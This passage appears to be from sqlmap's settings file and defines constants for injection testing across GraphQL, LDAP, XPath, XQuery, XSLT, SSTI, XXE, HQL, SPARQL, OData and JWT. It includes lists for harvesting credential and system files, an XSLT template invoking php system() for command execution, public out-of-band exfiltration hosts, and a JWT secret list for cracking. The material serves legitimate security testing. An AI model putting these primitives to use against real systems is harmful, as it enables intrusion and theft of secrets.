# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")

# Self-describing JSON endpoint directories probed once per host during crawling: OIDC discovery lists the
# auth/token/userinfo URLs, OpenAPI/Swagger specs enumerate the whole API (their paths are mined as endpoints)
WELL_KNOWN_ENDPOINT_PATHS = ("/.well-known/openid-configuration", "/swagger.json", "/openapi.json", "/swagger/v1/swagger.json", "/api-docs", "/v2/api-docs", "/v3/api-docs", "/api/swagger.json", "/api/openapi.json")

# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
    "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
    "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
    "email", "input", "password", "key", "filter", "slug", "title", "uid")

# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
# fields/arguments/inputFields with type chains, directives, and deprecation metadata.
GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } }
    types {
      kind
      name
      fields(includeDeprecated: true) {
        name
        args {
          name
          defaultValue
          type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
        }
        type { kind name ofType { kind name ofType { kind name } } }
      }
      inputFields {
        name
        defaultValue
        type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
      }
      enumValues(includeDeprecated: true) { name }
      specifiedByURL
    }
  }
}"""

# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse,
# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based
# detection inside the GraphQL engine.
GRAPHQL_PARSE_ERRORS = (
    r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"',
    r"\bSyntax Error:\s*[^\"]",
    r"\bExpected Name,\s*found\b",
    r"\bUnexpected\s+<EOF>\b",
)
# NOTE: graphql-js quotes the offending name, and the response carries those quotes backslash-escaped
# inside the JSON body ('Cannot query field \"x\" on type \"Query\"'). Without the optional backslash
# none of these ever matched a real answer - only a pretty-printed one
GRAPHQL_VALIDATION_ERRORS = (
    r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
    r"\bCannot query field\s+\\?\"[^\"\\]+\\?\"\s+on type\s+\\?\"[^\"\\]+\\?\"",
    r"\bUnknown argument\s+\\?\"[^\"\\]+\\?\"\s+on field\s+\\?\"[^\"\\]+\\?\"",
    r"\bField\s+\\?\"[^\"\\]+\\?\"\s+argument\s+\\?\"[^\"\\]+\\?\"\s+of type\s+\\?\"[^\"\\]+\\?\"\s+is required\b",
    r"\bVariable\s+\\?\"\$[^\"\\]+\\?\"\s+got invalid value\b",
    r"\bExpected type\s+[^,]+,\s*found\b",
    r"\bDid you mean\s+\\?\"[^\"\\]+\\?\"",
)
GRAPHQL_APQ_ERRORS = (
    r"\bPersistedQueryNotFound\b",
    r"\bPersistedQueryNotSupported\b",
)
GRAPHQL_RUNTIME_ERRORS = (
    r"\bGraphQL\s+(?:resolver\s+)?error\b",
)
GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)

# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
LDAP_ERROR_SIGNATURES = (
    ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
    ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
    ("Microsoft Active Directory", r"80090308:\s*LdapErr"),
    ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
    ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
    ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
    ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
    ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
    ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
    ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
    ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
    ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
)

# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
# that an error response originates from an LDAP back-end rather than a generic HTTP 500
LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)

# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan
LDAP_CHAR_MIN = 0x20
LDAP_CHAR_MAX = 0x7e

# Upper bound for the value-length search during LDAP blind extraction
LDAP_MAX_LENGTH = 256

# Maximum number of directory entries enumerated during LDAP blind dumping
LDAP_MAX_RECORDS = 20

# Attributes that definitively identify the backend vendor when probed on the RootDSE or
# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
LDAP_FINGERPRINT_ATTRIBUTES = (
    ("objectGUID", None, "Microsoft Active Directory"),
    ("vendorName", "OpenLDAP", "OpenLDAP"),
    ("vendorName", "Apache Software Foundation", "ApacheDS"),
    ("vendorName", "Oracle Corporation", "Oracle Directory Server"),
    ("vendorName", "Red Hat", "389 Directory Server"),
)

# XPath error signatures per parser implementation for error-based detection and
# fingerprinting (matched against HTTP response bodies). Each tuple is
# (backend_name, regex_fragment).
XPATH_ERROR_SIGNATURES = (
    # NOTE: neither javax.xml.transform.Transformer*Exception nor org.xml.sax.SAX*Exception belongs
    # here. The first is the XSLT transformer and the second is the XML parser, so claiming them made
    # every stylesheet failure and every malformed-XML response suggest '--xpath' as well. A real
    # Xalan XPath failure always carries javax.xml.xpath.XPathExpressionException
    ("Java JAXP / Xalan", r"(?:javax\.xml\.xpath\.XPathExpressionException|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath)"),
    ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
    ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
    # NOTE: XTDE is an XSLT Transformation Dynamic Error, so it stays with '--xslt'
    ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST)\d{4}:"),
    (".NET XPathNavigator", r"System\.Xml\.XPath\.XPathException"),
    (".NET XPathNavigator", r"Expression must evaluate to a node-set"),
    (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
    ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
    # NOTE: 'Invalid expression' on its own is not an XPath error. libxml2 always prefixes it with
    # "XPath error : ", and PHP always names the failing method, so both are covered without the
    # bare form - which otherwise matched any calculator or formula field
    ("lxml / libxml2", r"XPath error"),
    ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
    ("PHP SimpleXML / DOMXPath", r"xmlXPathEval"),
    ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
    ("Saxon (standalone)", r"Static error\(s\) in query"),
    ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
    ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"),
    ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
    ("eXist", r"exerr:ERROR"),
    ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
    # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
    # XSLT parser error suggest '--xpath' as well
    ("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
    ("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
)

XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES)

# Printable-ASCII codepoint bounds bisected during XPath blind character extraction
XPATH_CHAR_MIN = 0x20
XPATH_CHAR_MAX = 0x7e

# Maximum tree depth for recursive XML walking during XPath blind extraction
XPATH_MAX_DEPTH = 32

# Upper bound for the value-length search during XPath blind extraction
XPATH_MAX_LENGTH = 256

# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer
# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is
# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not
# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba.
XQUERY_CAPABILITY_PROBES = (
    "string-join(('a','b'),'')='ab'",
    "upper-case('a')='A'",
    "matches('a','a')",
)

# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind
# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is
# handed an http:// URI).
XQUERY_FILE_READ = "unparsed-text(%s)"
XQUERY_MAX_FILE_LENGTH = 4096

# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every
# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the
# broad sweep an in-band engine can afford.
XQUERY_FILE_HARVEST = (
    "/etc/passwd",
    "/etc/hostname",
    "/proc/self/environ",
    "/proc/self/cmdline",
    "c:/windows/win.ini",
)
# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about
# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target.
# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix
# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full
# XQUERY_MAX_FILE_LENGTH.
XQUERY_HARVEST_CHARS = 32

# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose
# output is fixed, so they double as the fingerprint when nothing can be reflected.
# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt
# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow
# the binding that actually tells the tester what they are talking to.
XSLT_ERROR_SIGNATURES = (
    ("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"),
    # NOTE: XPathEvalError is raised by a plain tree.xpath() call, so it belongs to '--xpath'. lxml
    # raises XSLTParseError / XSLTApplyError for a stylesheet
    ("libxslt / lxml", r"lxml\.etree\.XSLT(?:Parse|Apply)?Error"),
    # NOTE: Saxon is one product for XPath, XQuery and XSLT, so the package name alone proves nothing.
    # Only the XSLT-exclusive evidence is kept (XTSE static / XTDE dynamic codes, the style package)
    ("Saxon", r"(?:net\.sf\.saxon\.style\.|XTDE\d{4}|XTSE\d{4}|Failed to compile stylesheet)"),
    # NOTE: only the 'Configuration' form is exclusive to a stylesheet. javax.xml.xpath wraps a plain
    # XPath failure in a bare TransformerException, and a Xalan run-time failure names org.apache.xalan
    ("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.TransformerConfigurationException|org\.apache\.xalan|XSLT Error)"),
    (".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"),
    # Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in
    # checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures,
    # which would suggest '--xslt' on targets that have nothing to do with XSLT.
    # NOTE: xmlXPathEval is the libxml2 XPath entry point, which '--xpath' owns. libxslt names the
    # stylesheet file instead, and that is what tells the two apart
    ("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsltLoadStylesheet|xsl:\w+ : |(?:runtime|compilation) error: file [^\n]{0,120}\.xsl)"),
    ("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"),
)

XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES)

# system-property() names the processor from inside the transformation, so a response carrying it is the
# engine speaking rather than the application echoing.
XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")

# Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command
# execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the
# namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers
# 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a
# deterministic self-check whose result the application cannot produce by itself - not by asking whether
# the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal.
XSLT_BRIDGE_PHP = "php"
XSLT_BRIDGE_JAVA = "java"

# label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge)
XSLT_BRIDGES = (
    ("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl",
     "php:function('file_get_contents',%s)", "php:function('system',%s)"),
    # Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the
    # java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would
    # run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than
    # not offering it (a destructive command would look like it never ran). Hence no exec template.
    ("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java",
     "java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))",
     None),
)

# File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target
# filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere
# availability is the finding. Each is (label, boolean XPath self-check that answers 'true').
XSLT_ADVISORY_PROBES = (
    ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
    ("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
)

XSLT_MAX_FILE_LENGTH = 65536

# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+
# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so
# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base).
XSLT_XML_HARVEST = (
    "/var/www/html/WEB-INF/web.xml",
    "/usr/local/tomcat/conf/tomcat-users.xml",
    "/usr/local/tomcat/conf/server.xml",
    "/opt/tomcat/conf/tomcat-users.xml",
    "/etc/tomcat/tomcat-users.xml",
    "c:/inetpub/wwwroot/web.config",
    "c:/windows/system32/inetsrv/config/applicationHost.config",
)

# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests.
XSLT_MAX_HARVEST = 12

# SSTI error signatures per template engine for detection and fingerprinting.
# Each tuple is (engine_name, regex_fragment).
SSTI_ERROR_SIGNATURES = (
    ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
    # NOTE: 'at line: N char: N' (with those colons) is how Mako, and only Mako, points at the fault
    ("Mako", r"mako\.exceptions\.\w+|at line: \d+ char: \d+"),
    # NOTE: Twig quotes the offending name ('Unknown "upper" filter'). Without the quotes this also
    # matched the 'Unknown function' of Neo4j and Cassandra, which suggested '--ssti' on a NoSQL error
    ("Twig", "Twig[\\\\_]Error|Twig[\\\\_]Environment|Unknown \"[^\"]+\" (?:filter|function|test|tag)"),
    # NOTE: a bare 'ParseException' is not Freemarker. It also matched java.text.ParseException,
    # org.xml.sax.SAXParseException and REXML::ParseException. The package prefix is always present
    ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|InvalidReferenceException|TemplateException"),
    ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
    ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
    ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"),
    ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
    # NOTE: these must stay anchored to a diagnostic. The bare product names matched any page that
    # carries the word 'pug'/'jade'/'handlebars' (a surname, a colour, a <script src=> of the runtime),
    # and the bare 'ParseError' matched lxml.etree.XSLTParseError and ElementTree.ParseError
    ("Pug/Jade", "\\.(?:pug|jade):\\d+|(?:Pug|Jade):\\d+|unexpected token \"(?:indent|outdent|start-attributes|interpolation|attrs)\""),
    ("Handlebars", r"handlebars[^\n]{0,60}?(?:error|exception)|Parse error on line \d+"),
    # NOTE: 'template.*?error' matched any line holding both words, down to a CSS comment
    ("Generic SSTI", r"\bTemplate(?:Syntax|Render|Assertion|Parse)?(?:Error|Exception)\b|\btemplate[^\n]{0,40}?(?:syntax error|render error|parse error|error on line)|\b(?:syntax|parse) error in template\b"),
)

SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)

# XXE parser error signatures for detection and fingerprinting. Each tuple is
# (parser_family, regex_fragment). A match means the XML surface reached a real
# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) -
# useful both as an error-based oracle and to fingerprint the back-end parser.
XXE_ERROR_SIGNATURES = (
    ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
    ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
    # NOTE: 'must be declared' has to keep the quoted name in front of it. On its own it matched the
    # "variable 'x' must be declared before it is used" of TypeScript and of every other compiler
    ("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|\"[^\"]*\" must be declared|had to be read but the maximum)"),
    (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
    ("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
    ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
    ("Go encoding/xml", r"XML syntax error on line \d+"),
    # NOTE: 'unexpected end of ...' is what every parser says, not what an XML parser says. It matched
    # the "Unexpected end of query" of BaseX, the "Unexpected <EOF>" of GraphQL and the "Unexpected end
    # of file" of Freemarker. libxml2 says "Premature end of data", which is covered above
    ("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML)"),
)

XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)

# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external
# entities explicitly refused). Reported as "reachable but protected" - never a hit.
XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)"

# Benign, low-entropy files used only to demonstrate file-read impact once XXE is
# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a
# short host-identity file is enough to prove the read without tripping decoys.
# Out-of-band (interactsh) collector for blind XXE confirmation. Public default
# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server
# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match
# the interactsh defaults (subdomain = <20-char id><13-char nonce>.<server>).
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
OOB_EXFIL_ENDPOINT = "https://webhook.site"
OOB_CORRELATION_ID_LENGTH = 20
OOB_NONCE_LENGTH = 13
OOB_POLL_ATTEMPTS = 15     # generous: two-hop exfil (target fetches DTD, then calls back) over the
OOB_POLL_DELAY = 2         # target's own link + webhook.site's eventually-consistent API (best-effort)

# Time-based blind tier: an external entity aimed at this non-routable RFC5737
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
# reproducible response delay betrays otherwise-blind XXE with NO collector needed.
# The delay must exceed a DTD-processing control baseline by this many seconds.
XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5

# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a
# working injection point (a schema-validated or non-reflected first node otherwise hides the finding);
# bounds the request cost on documents with many text nodes
XXE_LOCATION_SWEEP_MAX = 12

# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
# A match means the injection reached the ORM query parser (not the SQL layer),
# which is what distinguishes HQL injection from ordinary SQL injection.
HQL_ERROR_SIGNATURES = (
    ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
    # NOTE: a bare 'QueryException' belongs to org.basex.query too (an XQuery engine), and the bare
    # ANTLR "line N:M ..." line is emitted by Cassandra and Trino as well. Both are dropped: the
    # package-qualified fragment above already covers org.hibernate.QueryException
    ("Hibernate", r"(?:QuerySyntaxException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
    ("Hibernate", r"(?:unexpected (?:token:|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property))"),
    ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
    ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
    ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
)

HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)

# The self-contained non-SQL technique switches, by conf option name (each is also its switch spelling,
# '--<name>'). Each is a whole scan for a different back-end class, so at most one may run: the target
# loop branches on them and the option validation rejects a pair. Kept in ONE place because it used to
# be spelled out at every site and had already drifted - '--jwt' was missing from the validation, which
# let '--jwt --nosql' through to run neither (conf.jwt also suppresses the passive JWT heuristic)
NONSQL_TECHNIQUES = ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe", "xslt", "hql", "sparql", "odata", "jwt")

# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full
# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in
# tutorials, framework defaults and CTFs
JWT_COMMON_SECRETS = ("secret", "password", "changeme", "admin", "test", "jwt", "key", "private",
    "your-256-bit-secret", "your_jwt_secret", "supersecret", "secretkey", "s3cr3t", "1234567890",
    "qwerty", "root", "token", "default", "example", "mysecret", "jwtsecret", "signingkey")

# Upper bound on candidate secrets tried during the offline '--jwt' HMAC crack (keeps a huge custom
# wordlist from turning an audit into an unbounded brute-force)
JWT_MAX_CRACK_WORDS = 2000000

# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
# leakage is the native way to learn the entity model). First capture group = name.
HQL_ENTITY_REGEX = (
    r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'",
    r"resolve root entity '([^']+)'",
    r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped",
)

# Printable-ASCII codepoint bounds bisected during HQL blind character extraction
HQL_CHAR_MIN = 0x20
HQL_CHAR_MAX = 0x7e

# Upper bound for the value-length search during HQL blind extraction
HQL_MAX_LENGTH = 256

# Maximum number of attributes to enumerate per entity during HQL blind extraction
HQL_MAX_FIELDS = 64

# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump
HQL_MAX_RECORDS = 100

# Common mapped entity names brute-forced through the boolean oracle when the app
# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an
# unmapped one raises UnknownEntityException and reads as false).
HQL_COMMON_ENTITIES = (
    "User", "Users", "Account", "Accounts", "Member", "Members", "Customer",
    "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential",
    "Profile", "Role", "Client", "Contact", "Company", "Product", "Order",
    "Item", "Article", "Post", "Comment", "Category", "Document", "File",
    "Message", "Group", "Session", "Token", "Application", "Setting",
)

# SPARQL injection ('--sparql'). Error signatures per triple-store for heuristic detection and
# fingerprinting, anchored to product-specific strings (not the bare "MalformedQueryException" /
# "Encountered" that several engines share) so they stay exclusive from the other non-SQL engines.
# Each tuple is (engine_name, regex_fragment).
SPARQL_ERROR_SIGNATURES = (
    ("Apache Jena / Fuseki", r"org\.apache\.jena|com\.hp\.hpl\.jena|Lexical error at line \d+, column \d+|\bQueryParseException\b"),
    ("Virtuoso", r"Virtuoso \d+ Error|SPARQL (?:compiler|query):|\bSP03\d\b"),
    # NOTE 'MalformedQueryException' is the RDF4J/Sesame API type, which Blazegraph and Stardog raise
    # too - matching on it alone mislabelled them as RDF4J, so only the package name is kept
    ("RDF4J / GraphDB", r"org\.eclipse\.rdf4j|org\.openrdf\.query"),
    ("Blazegraph", r"com\.bigdata\.rdf|\bBlazegraph\b"),
    ("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b.*?(?:SPARQL|sparql)"),
    ("Stardog", r"com\.(?:complexible\.)?stardog"),
)

SPARQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SPARQL_ERROR_SIGNATURES)

# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) SPARQL blind character scan
SPARQL_CHAR_MIN = 0x20
SPARQL_CHAR_MAX = 0x7e

# Bounds on blind SPARQL extraction (each unit costs many requests, so keep them sane)
SPARQL_MAX_LENGTH = 1024        # an IRI or literal can be long
SPARQL_MAX_PREDICATES = 64      # distinct predicates enumerated from the default graph
SPARQL_MAX_RECORDS = 64         # triples dumped from the default graph

# OData injection ('--odata'). $filter parser error signatures per framework, anchored to product strings
# so they stay exclusive from the other non-SQL engines. Each tuple is (framework_name, regex_fragment).
ODATA_ERROR_SIGNATURES = (
    ("Microsoft OData (WebAPI/.NET)", r"Microsoft\.OData|Microsoft\.Data\.OData|The query specified in the URI is not valid|Could not find a property named|There is an unterminated string literal at position|Syntax error at position \d+ in"),
    ("Apache Olingo (Java)", r"org\.apache\.olingo|The URI is malformed|Invalid OData"),
    ("OData4j / other", r"\bodata4j\b|An error occurred while processing the OData request"),
)

ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)

# Printable-ASCII codepoint bounds for the OData blind character scan
ODATA_CHAR_MIN = 0x20
ODATA_CHAR_MAX = 0x7e

# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a
# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes
# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves
# headroom for a longer key/property name in the same filter
ODATA_CHARSET_BLOCK = 8

ODATA_MAX_LENGTH = 256          # a single property value
ODATA_MAX_RECORDS = 20          # entities blind-dumped
ODATA_MAX_KEY = 100000          # upper bound when bisecting for the lowest existing numeric key

# Candidate key properties probed to pin an entity for row-by-row extraction (real-world frequency order)
ODATA_KEY_CANDIDATES = ("Id", "ID", "Key", "Oid", "Guid", "Uuid", "Code", "No", "Number")

# Common string property names enumerated once injection is confirmed (an unknown property makes the
# whole $filter error, so existence is a clean null-probe oracle). Ordered by real-world frequency.
ODATA_COMMON_FIELDS = (
    "Name", "Title", "Description", "Username", "UserName", "User", "Login", "Email", "Mail",
    "Password", "Passwd", "Secret", "Token", "ApiKey", "Key", "Role", "FirstName", "LastName",
    "FullName", "Phone", "Address", "City", "Country", "Status", "Type", "Code", "Hash", "Salt",
    "Note", "Comment", "Value", "Content", "Data", "Owner", "Category", "Product", "Company",
)

XXE_IMPACT_FILES = (
    ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),                     # anchored, high-signal
    ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
)

# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material, common application drop paths) - the XXE analogue of the
